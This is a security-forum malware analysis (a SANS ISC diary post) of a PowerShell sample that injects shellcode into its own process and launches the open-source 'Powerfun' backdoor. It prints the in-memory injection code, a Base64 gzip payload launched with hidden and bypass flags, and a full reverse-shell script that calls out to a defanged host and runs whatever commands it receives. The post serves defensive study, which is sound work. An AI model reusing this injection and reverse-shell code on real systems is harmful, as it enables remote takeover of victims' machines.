Threat Level: green Handler on Duty: Xavier Mertens

SANS ISC: PowerShell Backdoor Launched from a ShellCode SANS ISC InfoSec Forums

Watch ISC TV. Great for NOCs, SOCs and Living Rooms: https://isctv.sans.edu

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
PowerShell Backdoor Launched from a ShellCode

When you need to perform malicious actions on a victim's computer, the Internet is full of resources that can be reused, forked, slightly changed to meet your requirements. After all, why reinvent the wheel if some pieces of code are available on GitHub for free? If you developed some offensive tools for good reasons (because you're a pentester, a red teamer of just doing some research), chances are high that your code will be reused.

Here is a practical example found in the wild. The initial PowerShell script has a VT score of 8/59 (SHA256:f4a4fffaa31c59309d7bba7823029cb211a16b3b187fcbb407705e7a5e9421d3). The script is not heavily obfuscated but the technique used is interesting. It uses the CSharpCodeProvider[1] class:

$nTlW = New-Object Microsoft.CSharp.CSharpCodeProvider
$cUj0x = New-Object System.CodeDom.Compiler.CompilerParameters
$cUj0x.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
$cUj0x.GenerateInMemory = $True
$zgA = $nTlW.CompileAssemblyFromSource($cUj0x, $dn)

The code above compiles on the fly some code to allow code injection. This is not the first time that I write about this technique[2], like malware compiling code on the fly[3]. Let's have a look at the injection code:

$fH3rI = [y5SR.func]::VirtualAlloc(0, $u4O.Length + 1, [y5SR.func+AllocationType]::Reserve -bOr [y5SR.func+AllocationType]::Commit, [y5SR.func+MemoryProtection]::ExecuteReadWrite)
if ([Bool]!$fH3rI) { $global:result = 3; return }
[System.Runtime.InteropServices.Marshal]::Copy($u4O, 0, $fH3rI, $u4O.Length)
[IntPtr] $ay = [y5SR.func]::CreateThread(0,0,$fH3rI,0,0,0)
if ([Bool]!$ay) { $global:result = 7; return }
$p0vZ = [y5SR.func]::WaitForSingleObject($ay, [y5SR.func+Time]::Infinite)
  1. A new memory region is allowed in the current process environment (the PowerShell interpreter) via VirtualAlloc(). The most important parameter is 'ExecuteReadWrite' (the famous 0x40 value)
  2. The shellcode is copied into the newly allocated memory via Copy()
  3. A new threat is created via CreateThreat()
  4. To now block the parent threat, WaitForSingleObject() is called

Let's have a look at the shellcode. It's a Base64-encode chunk of data:

$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite base64dump.py f4a4fffaa31c59309d7bba7823029cb211a16b3b187fcbb407705e7a5e9421d3.dms -n 100 -s 1 -S
;}$u
D$$[[aYZQ
powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-
Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,
[System.Convert]::FromBase64String('H4sIADeXAV8CA51WW2/bNhR+9684cLVaQixCCTCgCJBirpJuAdLWqLzlwTAQWjqOtcikRlK+LPF/
LylRF8cJukwvtsjD73znOxfqHYz5BsWiYODDrUiVQgbzHXzSP5NCMBTwHi7pGuEPKpJdr6ctY5VyBr+j8m9xHmcpMgW9xx7ox9nEcAFfceN/m/+N
sQJ/ssvxK12hXlRE24elfW1M/pR4iQtaZCoUmOidlGZSQzhKFNhYjQXf7sgzC73eWalte/uWYl6H1nuEcn9MBV251f9ppETK7mdOyFcrypLh4Wok
s5izZ4uXfMMyTpNy1bOYgscoJVgBVjwpMjQEf3M9qEzSBbi1G/DxH+jPU5b0vXKzOleezVKp5deSX2iXO/1/RYxqEY8fUEkyifMbazH7EHwIjg8S
qahQxq/1XO7aFF107EZxjLnSgFU63IrK/jW6AtcoJB4zbqA7KX+JeTi2jvp5cvrvnLCsPzQhWL+9SjupBNKVIVrhEl1jUbmmCbbUqtRUzEyZ9G0m
OrykzKIa7BVqGBe63Hckqk1d63/oLHQ94dB9dCYafQ8+lTA9OPMdV1xhiEKlizSmCv+iWZpQU3QhzbI5jR9mnvcCHTIq1NJUrDk0kkeieJ20tWq0
0XTlms53CqezmWN+TcEFhJwF+nn65THYW0WRJfW2O1W4VQRZzBNTzefnoyi8vvaMyp+Mjdu/1WXJN7KaCdESswxEwZi2Bq1BIXVp9uEEHGTrc/PG
TGOf6DWdjmYj5qu8UO3mHQt5vhPp/VKBG3pwFpz+Cl/SWHDJFwpCLnIuSu0IjIxHYylBoHawxoTcsTtmK89qQsygQreNbhgM2xdyg+xeLbsVU/dt
t2aOSuZtUk1PZnCjIY02tudJw/PtXOtTn7m4ovFSc65AIWXNTGmtWtrmcQ9GsUfqaKupVSN5T9dszR/Qv9rmWlup9W5Q9odt+CYlBuMIBjrPJYsb
HpeZ9MiYqqVeHXwc/O/UbZZphq7rpGUPVMe/I03cquKHEAzBOTjngc8QgqPcXhn6mEx0KK9dT3Y0GBNShnhlQ25RdINTQ6WDZidUKXMdDjip96ys
9DwwWh4lAPx6zFbgZx/fn8ITfCuUX6GCleIA6gxKQWpgLfJPUgCDFmRriDgoBBfTYHbgrMO63CdxhlS43ksMLrovuvG3veNO+k/l08L8tHW6pXLU
OPWZz1khl83Na8egvU7CjEu08bR3YaR4Xl+A+uuh13w1NMmx1x/49uYxA+QH7Wza3jkJAAA='))),
[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"

The shellcode is simple to understand, it used WinExec() to launch another PowerShell command which decodes more Base64-encoded data, unzips it, and executes it. Let's look at it in scdbg:

Here is the code PowerShell code executed in the injected threat:

# Powerfun - Written by Ben Turner & Dave Hardy

function Get-Webclient 
{
    $wc = New-Object -TypeName Net.WebClient
    $wc.UseDefaultCredentials = $true
    $wc.Proxy.Credentials = $wc.Credentials
    $wc
}
function powerfun 
{ 
    Param( 
    [String]$Command,
    [String]$Sslcon,
    [String]$Download
    ) 
    Process {
    $modules = @()  
    if ($Command -eq "bind")
    {
        $listener = [System.Net.Sockets.TcpListener]8080
        $listener.start()    
        $client = $listener.AcceptTcpClient()
    } 
    if ($Command -eq "reverse")
    {
        $client = New-Object System.Net.Sockets.TCPClient("pd1zb[.]nl",8080)
    }

    $stream = $client.GetStream()

    if ($Sslcon -eq "true") 
    {
        $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
        $sslStream.AuthenticateAsClient("pd1zb[.]nl") 
        $stream = $sslStream 
    }

    [byte[]]$bytes = 0..20000|%{0}
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
    $stream.Write($sendbytes,0,$sendbytes.Length)

    if ($Download -eq "true")
    {
        $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)
        ForEach ($module in $modules)
        {
            (Get-Webclient).DownloadString($module)|Invoke-Expression
        }
    }

    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
    $stream.Write($sendbytes,0,$sendbytes.Length)

    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
    {
        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
        $data = $EncodedText.GetString($bytes,0, $i)
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
        $x = ($error[0] | Out-String)
        $error.clear()
        $sendback2 = $sendback2 + $x

        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
        $stream.Write($sendbyte,0,$sendbyte.Length)
        $stream.Flush()  
    }
    $client.Close()
    $listener.Stop()
    }
}

powerfun -Command reverse -Sslcon true

The backdoor can be found on this github.com repository:  davehardy20/PowerShell-Scripts[4]. The next question is: why to perform process injection of a PowerShell script into the initial PowerShell process? Probably to improve the obfuscation, this is confirmed by the low VT score!

[1] https://docs.microsoft.com/en-us/dotnet/api/microsoft.csharp.csharpcodeprovider?view=dotnet-plat-ext-3.1
[2] https://isc.sans.edu/forums/diary/Malicious+PowerShell+Compiling+C+Code+on+the+Fly/24072
[3] https://isc.sans.edu/forums/diary/Malware+Samples+Compiling+Their+Next+Stage+on+Premise/25278
[4] https://github.com/davehardy20/PowerShell-Scripts

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

I will be teaching next: Reverse-Engineering Malware: Malware Analysis Tools and Techniques - SANS Paris November 2020

Xme

563 Posts
ISC Handler
Sep 28th 2020

Sign Up for Free or Log In to start participating in the conversation!